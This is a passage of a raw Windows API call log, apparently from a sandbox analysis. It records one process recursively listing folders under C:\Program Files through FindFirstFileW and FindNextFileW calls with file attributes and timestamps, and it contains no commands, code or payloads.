cAlternateFileName="")) returned 0x33e4be8 [0237.250] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.251] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dbc8530, ftCreationTime.dwHighDateTime=0x1d5e3aa, ftLastAccessTime.dwLowDateTime=0x3a968480, ftLastAccessTime.dwHighDateTime=0x1d5b494, ftLastWriteTime.dwLowDateTime=0x3a968480, ftLastWriteTime.dwHighDateTime=0x1d5b494, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="demonstrated.exe", cAlternateFileName="DEMONS~1.EXE")) returned 1 [0237.251] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75c4a4a0, ftCreationTime.dwHighDateTime=0x1d5bbd4, ftLastAccessTime.dwLowDateTime=0x3d4d8ff0, ftLastAccessTime.dwHighDateTime=0x1d5b2ac, ftLastWriteTime.dwLowDateTime=0x3d4d8ff0, ftLastWriteTime.dwHighDateTime=0x1d5b2ac, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0237.251] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0237.251] GetProcessHeap () returned 0xc10000 [0237.251] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0237.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0237.253] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.253] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0237.253] GetProcessHeap () returned 0xc10000 [0237.253] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0237.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0237.254] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.254] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0237.254] GetProcessHeap () returned 0xc10000 [0237.254] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0237.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0237.264] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e47081, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0237.264] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0237.265] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4e47081, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4e6d423, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 0 [0237.265] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0237.266] GetProcessHeap () returned 0xc10000 [0237.266] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0237.266] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0237.266] GetProcessHeap () returned 0xc10000 [0237.266] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0237.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0237.266] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.266] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0237.266] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0237.267] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0237.267] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0237.275] GetProcessHeap () returned 0xc10000 [0237.275] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0237.275] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0237.275] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0237.276] GetProcessHeap () returned 0xc10000 [0237.276] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0237.276] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0237.276] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0237.276] GetProcessHeap () returned 0xc10000 [0237.276] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0237.277] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c0391a0, ftCreationTime.dwHighDateTime=0x1d5c9ba, ftLastAccessTime.dwLowDateTime=0x1f303280, ftLastAccessTime.dwHighDateTime=0x1d5e4ba, ftLastWriteTime.dwLowDateTime=0x1f303280, ftLastWriteTime.dwHighDateTime=0x1d5e4ba, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0237.277] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97657af0, ftCreationTime.dwHighDateTime=0x1d5d55e, ftLastAccessTime.dwLowDateTime=0xba71b240, ftLastAccessTime.dwHighDateTime=0x1d5ac67, ftLastWriteTime.dwLowDateTime=0xba71b240, ftLastWriteTime.dwHighDateTime=0x1d5ac67, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0237.278] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97657af0, ftCreationTime.dwHighDateTime=0x1d5d55e, ftLastAccessTime.dwLowDateTime=0xba71b240, ftLastAccessTime.dwHighDateTime=0x1d5ac67, ftLastWriteTime.dwLowDateTime=0xba71b240, ftLastWriteTime.dwHighDateTime=0x1d5ac67, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 0 [0237.278] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0237.278] GetProcessHeap () returned 0xc10000 [0237.278] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0237.278] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0237.278] GetProcessHeap () returned 0xc10000 [0237.278] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0237.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0237.279] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.279] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c572b60, ftCreationTime.dwHighDateTime=0x1d59d0f, ftLastAccessTime.dwLowDateTime=0xd5b03540, ftLastAccessTime.dwHighDateTime=0x1d5ab86, ftLastWriteTime.dwLowDateTime=0xd5b03540, ftLastWriteTime.dwHighDateTime=0x1d5ab86, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="coreftp.exe", cAlternateFileName="")) returned 1 [0237.279] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0237.279] GetProcessHeap () returned 0xc10000 [0237.279] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0237.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0237.280] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.280] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0237.280] GetProcessHeap () returned 0xc10000 [0237.280] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0237.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0237.281] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.281] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0237.281] GetProcessHeap () returned 0xc10000 [0237.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0237.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0237.283] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.283] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521bc005, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521bc005, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5208acea, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5208acea, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb81a9200, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x3d2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0237.284] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, 